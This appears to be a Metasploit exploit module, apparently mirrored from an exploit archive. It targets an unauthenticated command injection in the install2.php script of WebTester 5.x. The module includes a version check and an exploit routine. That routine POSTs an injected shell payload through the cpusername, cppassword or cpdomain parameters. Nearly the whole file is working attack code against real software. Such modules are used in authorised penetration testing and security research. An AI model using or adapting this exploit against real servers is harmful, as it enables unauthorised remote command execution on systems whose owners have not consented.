## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "WebTester 5.x Command Execution", 'Description' => %q{ This module exploits a command execution vulnerability in WebTester version 5.x. The 'install2.php' file allows unauthenticated users to execute arbitrary commands in the 'cpusername', 'cppassword' and 'cpdomain' parameters. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brendan Coles ' # Metasploit ], 'References' => [ ['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/'] ], 'Payload' => { 'Space' => 8190, # Just a big value, injection on POST variable 'DisableNops' => true, 'BadChars' => "\x00" }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Targets' => [ # Tested on WebTester v5.1.20101016 [ 'WebTester version 5.x', { 'auto' => true } ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 17 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/']) ], self.class) end # # Checks if target is running WebTester version 5.x # def check res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) }) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body =~ /Eppler Software/ if res.body =~ / - v5\.1\.20101016/ print_status("#{peer} - Found version: 5.1.20101016") return Exploit::CheckCode::Vulnerable elsif res.body =~ / - v(5\.[\d\.]+)/ print_status("#{peer} - Found version: #{$1}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end else return Exploit::CheckCode::Safe end end def exploit vuln_params = [ 'cpusername', 'cppassword', 'cpdomain' ] print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'install2.php'), 'vars_post' => { 'createdb' => 'yes', 'cpanel' => 'yes', "#{vuln_params.sample}" => "';#{payload.encoded} #" } }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out") elsif res.code == 200 and res.body =~ /Failed to connect to database server/ print_good("#{peer} - Payload sent successfully") else fail_with(Failure::Unknown, "#{peer} - Something went wrong") end end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-10-20]